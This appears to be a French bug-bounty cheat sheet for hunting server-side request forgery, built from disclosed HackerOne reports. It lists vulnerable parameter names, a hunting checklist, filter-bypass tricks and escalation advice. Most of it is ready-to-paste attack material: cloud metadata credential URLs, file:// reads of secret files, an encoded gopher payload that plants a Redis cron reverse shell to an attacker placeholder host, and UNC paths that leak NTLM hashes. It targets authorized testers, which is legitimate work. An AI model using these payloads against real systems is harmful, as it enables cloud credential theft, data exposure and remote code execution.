Kit de Chasse SSRF
Chaque nom de paramètre, chaque payload, chaque contournement de filtre et chaque étape d'escalade pour chasser les Server-Side Request Forgery — extraits de 217 rapports HackerOne divulgués et mis en page pour être collés, pas pour être lus.
Ce kit condense les techniques observées dans 217 rapports divulgués. Lire l'analyse complète
1. Où Ça se Cache
# Points de requête URL génériques
url uri src href link target dest destination endpoint location
path host hostname domain site page addr address server
# Récupération / import / miroir
import_url fetch_url load_url source_url remote_url origin_url
download_url file_url media_url attachment_url document_url
remote_attachment_url # GitLab #826361 — 10 000 $, le plus élevé du corpus
imageUrl image_url icon_url avatar_url logo_url thumbnail_url
preview_url og_url unfurl link_preview embed_url oembed
# Surfaces de callback / d'intégration (23 rapports dans le corpus)
callback callback_url webhook webhook_url notify_url hook
postback_url return_url notification_endpoint sink_url
smtpHost sieveHost imapHost # Nextcloud a déposé cinq rapports par ce biais
ldap_url ldap_host proxy proxy_url upstream backend_url
sso_url metadata_url jwks_uri issuer well_known_url
# Paramètres de type redirection qui atteignent un récupérateur côté serveur
next redirect redirect_uri redir return continue forward
out view show data feed rss xml_feed
# Champs de configuration cloud / infra
s3_endpoint bucket_endpoint region_endpoint registry_url
api_base base_url instance_url tenant_url git_url repo_url
LES FONCTIONS QUI VONT CHERCHER UNE URL (SANS PARAMÈTRE URL VISIBLE)
- • Export PDF ou génération de rapport — Chrome headless, wkhtmltopdf, Puppeteer. Le #2262382 de HackerOne lui-même tenait à une iframe dans un modèle de tableau de bord. CVSS 10.0.
- • Téléversement de SVG —
<image href>,<use>, feuilles de style externes. Shopify #223203. - • Tout parseur XML/DOCX/XLSX/SVG — une XXE, c'est une SSRF avec deux étapes de plus. Uber #448598.
- • Transcodage vidéo ou image — playlists HLS de FFmpeg. TikTok #1062888.
- • Moteurs de rendu Markdown, outils d'assainissement HTML, générateurs d'aperçus de liens, récupérateurs de favicon.
- • Les boutons « Tester la connexion » de chaque page de configuration d'intégration.
EN-TÊTES ET VECTEURS HORS CORPS DE REQUÊTE
- •
X-Forwarded-Host,X-Forwarded-Server,Host— proxies de routage et préchauffeurs de cache. - •
Referer— les backends d'analytique qui vont rechercher la page référente. - •
X-Original-URL/X-Rewrite-URL— contrôleurs frontaux Nginx et Symfony. - •
Forwarded,X-Api-Versionpointant vers une URL de schéma. - • URLs d'assemblage de schémas OpenAPI / GraphQL, arguments d'outils MCP (#3176157).
- • Cibles Windows : un chemin UNC dans n'importe quel champ de chemin fait fuiter le NTLM (#2585385).
2. La Check-list de Chasse
DE LA PREMIÈRE SONDE À L'IMPACT CONFIRMÉ
Outils : le filtre d'historique de Burp Suite,
gau + gf ssrf, ParamSpider.Signal positif : un paramètre dont la valeur est renvoyée sous forme de contenu récupéré, ou une 5xx qui diffère du 400 obtenu avec une valeur invalide.
Outils : Burp Collaborator,
interactsh-client, ngrok.Signal positif : une requête HTTP, pas seulement une résolution DNS. Notez l'IP source — s'il s'agit d'une plage de sortie cloud et non de l'IP publique de l'application, vous êtes à l'intérieur du VPC.
Outils : un simple fichier statique sur votre propre machine.
Signal positif : votre chaîne témoin s'affiche quelque part. La lecture complète ne concerne que 8 rapports sur 217 et occupe la tranche de sévérité la plus haute — arrêtez tout et passez directement à l'étape 5.
file://, gopher://, dict://, ftp://, ldap://, puis une 302 depuis votre hôte vers 169.254.169.254.Outils : un redirecteur d'une seule ligne ;
Gopherus pour le détournement de protocole.Signal positif : la redirection est suivie. Les bibliothèques clientes valident la première URL puis enchaînent les sauts à l'aveugle — Kubernetes #1544133.
Outils :
ffuf sur le paramètre vulnérable avec une liste de ports ; surveillez la longueur et le temps de réponse.Signal positif : un corps de réponse que vous n'auriez jamais dû voir, ou une séparation nette entre connexion refusée et connexion établie suivie d'une expiration.
Outils : un hôte de rebinding (
rbndr.us, 1u.ms), nip.io pour une correspondance statique.Signal positif : mettre en échec une protection déjà déployée constitue une vulnérabilité à part entière — 22 rapports sur 217 ont fait exactement cela, dont deux contre Smokescreen, le proxy que Stripe avait justement conçu pour s'en prémunir.
3. Aide-Mémoire des Payloads
# AWS IMDSv1 — aucune authentification, tout est là. Énumérez d'abord le nom du rôle.
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-from-previous-line>
http://169.254.169.254/latest/user-data/ # scripts d'amorçage, souvent des secrets en dur
http://169.254.169.254/latest/dynamic/instance-identity/document
http://[fd00:ec2::254]/latest/meta-data/ # IMDS IPv6 — souvent oublié par les listes de blocage IPv4 uniquement
# Rôle de tâche AWS ECS / Fargate — autre IP, autre chemin
http://169.254.170.2/v2/credentials/ # ajoutez l'UUID tiré de $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
http://169.254.170.2/v2/metadata
# GCP — v1 exige "Metadata-Flavor: Google". Historiquement, v1beta1 non.
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
http://169.254.169.254/computeMetadata/v1/project/project-id
# Azure — exige "Metadata: true"
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Autres
http://100.100.100.200/latest/meta-data/ # Alibaba Cloud — dans le CGNAT, rarement mis en liste de blocage
http://169.254.169.254/metadata/v1.json # DigitalOcean
http://169.254.169.254/opc/v1/instance/ # Oracle OCI (v2 exige Bearer Oracle)
http://169.254.169.254/openstack/latest/meta_data.json
# Services sans authentification par défaut. Les atteindre vaut une sévérité élevée immédiate.
http://127.0.0.1:2375/version # API Docker — aucune authentification par défaut, RCE via création de conteneur
http://127.0.0.1:6379/ # Redis — voir le payload gopher plus bas
http://127.0.0.1:9200/_cat/indices # Elasticsearch — vidage complet de l'index
http://127.0.0.1:8500/v1/kv/?recurse # Consul KV — magasin de secrets
http://127.0.0.1:2379/v2/keys/?recursive=true # etcd — état du cluster Kubernetes
http://127.0.0.1:10250/pods # kubelet — points de terminaison read-only et run
http://127.0.0.1:11211/ # memcached
http://127.0.0.1:27017/ # MongoDB
# Généralement authentifiés, mais la bannière vaut le coup d'œil
http://127.0.0.1:8200/v1/sys/health # Vault
http://127.0.0.1:3000/ # Grafana — GitLab #878779 a lu un Grafana interne par ce biais
http://127.0.0.1:9090/api/v1/targets # Prometheus — fait fuiter toute la cartographie des services internes
http://127.0.0.1:5601/api/status # Kibana
http://127.0.0.1:15672/api/overview # administration RabbitMQ
http://127.0.0.1:8080/ :8000 :8888 :9000 :4444 :7001 # panneaux applicatifs / d'administration
# Autres écritures de la boucle locale, si 127.0.0.1 est filtré par comparaison de chaînes
http://localhost/ http://127.1/ http://0/ http://[::]/ http://[::1]/
http://0.0.0.0:6379/
# Kubernetes depuis l'intérieur du cluster (le jeton SA est sur le disque, pas ici — combinez avec file://)
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
# file:// — essayez ceci avant de supposer que le schéma est bloqué
file:///etc/passwd
file:///proc/self/environ # variables d'env : identifiants BDD, clés d'API, variables AWS_*
file:///proc/self/cwd/.env
file:///proc/net/tcp # ports en écoute, en hexadécimal — un scan de ports interne gratuit
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///root/.aws/credentials
file://\/\/etc/passwd # contournement par déformation des slashes, pour filtres de schéma naïfs
netdoc:///etc/passwd # alias propre à Java pour file://
# gopher:// — octets TCP arbitraires. C'est ce qui transforme une SSRF en RCE.
# Redis : écrit une entrée cron. %0d%0a vaut CRLF ; chaque commande est encodée en RESP.
gopher://127.0.0.1:6379/_%2A1%0d%0a%248%0d%0aflushall%0d%0a%2A3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2A64%0d%0a%0a%0a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0a%0a%0d%0a%2A4%0d%0a%243%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2A10%0d%0a%2Fvar%2Fspool%2Fcron%0d%0a
# dict:// — récupération de bannière à bas coût, marche là où gopher est filtré
dict://127.0.0.1:6379/info
dict://127.0.0.1:11211/stats
# Windows : un chemin UNC fait fuiter le hash NTLM du compte de service vers votre écouteur SMB
\\attacker.tld\share\x # Apache CVE-2024-38472 / #2585385
//attacker.tld/share/x
# XXE-en-SSRF, pour toute entrée XML/SVG/DOCX
<!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]><r>&x;</r>
# HTML injecté dans un moteur de rendu PDF/capture d'écran côté serveur
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width=1000 height=1000>
<img src="http://169.254.169.254/latest/user-data/">
<link rel=stylesheet href="http://127.0.0.1:8500/v1/kv/?recurse">
4. Contournements de Filtres et de Protections
Parcourez ce tableau de haut en bas : les astuces sur les chaînes de caractères d'abord, le rebinding en dernier. Chaque ligne renvoie à un rapport où la technique a mis en échec une protection que la cible avait réellement déployée.
| Technique | Payload | Pourquoi ça marche |
|---|---|---|
| IPv4 mappée en IPv6 | http://[::ffff:169.254.169.254]/ — #2301565 | Le validateur analyse un littéral IPv6 et ne le confronte jamais aux plages IPv4 interdites ; la socket, elle, se connecte en v4. |
| Décimal / octal / hexadécimal | http://2130706433/ http://0177.0.0.1/ http://0x7f000001/ | inet_aton() accepte les quatre notations. Les contrôles à base d'expressions régulières ne reconnaissent jamais que la notation pointée. |
| Boucle locale en forme courte | http://127.1/ http://0/ http://[::]/ | Les octets manquants sont complétés par des zéros au moment de la connexion. 0 se résout en 0.0.0.0, que le noyau route vers localhost. |
| Point final | http://metadata.google.internal./ — #1410214 | Le label racine du FQDN est retiré par le résolveur, mais pas par la comparaison de chaînes. A eu raison de la deny_list de Smokescreen chez Stripe. |
| Doubles crochets | http://[[::1]]/ — #1580495 | Deuxième contournement de Smokescreen. Le parseur du proxy et le client HTTP ne s'accordent pas sur l'endroit où se termine l'hôte. |
| Troncature du nom d'hôte | hôte de 256 caractères ou plus se terminant par 0x00007f000001 — #2429894 | libuv tronquait le nom dans un tampon de taille fixe : la chaîne validée et la chaîne résolue n'étaient donc pas les mêmes. 4 860 $. |
| Confusion identifiants / hôte | http://expected-cdn.com@169.254.169.254/ | Tout ce qui précède le @ relève des informations d'utilisateur. Les parseurs naïfs y voient l'hôte ; le client, lui, lit ce qui suit. |
| Troncature par fragment ou octet nul | http://169.254.169.254#@expected-cdn.com http://169.254.169.254%00@cdn.com | Désaccord entre parseurs sur la fin de l'autorité — la classe de failles sur laquelle Orange Tsai a bâti sa carrière. |
| URL relative au protocole | //169.254.169.254/latest/meta-data/ | Court-circuite entièrement une liste blanche de schémas ; le client hérite du schéma de l'appelant. |
| Résolution DNS générique | http://169.254.169.254.nip.io/ http://make-127-0-0-1.1u.ms/ | Le nom paraît externe et public. La résolution renvoie l'IP interne qu'il encode. Vient à bout des listes blanches de noms d'hôtes, pas des vérifications sur l'IP résolue. |
| Chaînage avec une redirection ouverte | http://target.com/out?to=http://169.254.169.254/ — #1544133 | La première URL passe la validation ; le saut 30X est suivi sans aucun contrôle. Chaînez la redirection ouverte de la cible elle-même et les listes blanches de domaines tombent à leur tour. |
| DNS rebinding | hôte rbndr.us ou 1u.ms avec un TTL à 0 — #1369312, #2115212, #3176157 | Deux résolutions : celle de la vérification renvoie une IP publique, celle de la connexion renvoie 127.0.0.1. Vient à bout de tout validateur qui résout puis récupère sans épingler l'IP. |
| Casse et déformation Unicode de l'hôte | http://METADATA.google.INTERNAL/ http://169。254。169。254/ | Les comparaisons sensibles à la casse laissent passer la première. Le point idéographique est normalisé en . par les parseurs d'URL de qualité navigateur — donc pertinent contre les moteurs de rendu Chrome headless. |
| Écritures alphanumériques d'une IP | Voir #1702864 | Les écritures non numériques d'une adresse passent au travers d'une validation qui présuppose qu'une IP se compose de chiffres et de points. A rapporté 250 $ chez Nextcloud. |
5. Échelle d'Escalade
DU CALLBACK AU CHÈQUE — MONTEZ AUSSI HAUT QUE LE PÉRIMÈTRE L'AUTORISE
aws sts get-caller-identity, expurgé dans le rapport — puis arrêtez-vous. Le #2262382 de HackerOne fait référence : une iframe dans un modèle de PDF, CVSSv3 10.0.6. Notes de Rédaction du Rapport
À INCLURE, SOUS PEINE DE DÉCLASSEMENT
- • La requête et la réponse brutes, sous forme de texte copiable — pas seulement une capture d'écran.
- • Le journal des interactions OOB, avec horodatages et IP source. Reliez-le à la requête qui l'a provoqué.
- • La preuve que la récupération se fait côté serveur : l'IP source n'est pas la vôtre et la requête arrive sans en-tête de navigateur.
- • Le corps de la réponse interne, ou le tableau des temps de réponse entre ports ouverts et fermés si la faille est aveugle.
- • L'identifiant d'instance, le nom d'hôte et le nom du rôle tirés du document de métadonnées — c'est ce qui désigne l'actif touché à l'équipe de défense.
- • Un seul
sts get-caller-identityexpurgé si vous avez atteint des identifiants. Rien au-delà. - • Une ligne de remédiation : liste blanche, épinglage DNS et IMDSv2 — pas « bloquez 169.254.169.254 ».
CALIBREZ LA SÉVÉRITÉ QUE VOUS RÉCLAMEZ
7. Impasses Connues
ÇA RESSEMBLE À UNE FAILLE, ÇA NE RAPPORTE RIEN
X-aws-ec2-metadata-token-ttl-seconds sur une requête PUT. Si vous ne contrôlez qu'une URL, vous ne volerez pas ces identifiants — il vous faut la maîtrise des en-têtes (gopher, injection CRLF) ou un client de qualité navigateur. Ne revendiquez pas un vol d'identifiants que vous ne pouvez pas montrer., , ) et sur l'IP de métadonnées.Les numéros de rapport, la répartition des sévérités et les montants de primes de cette page proviennent des 217 rapports SSRF divulgués sur HackerOne et analysés dans l'étude de cas associée. Ne testez que sur des cibles dont le périmètre du programme l'autorise.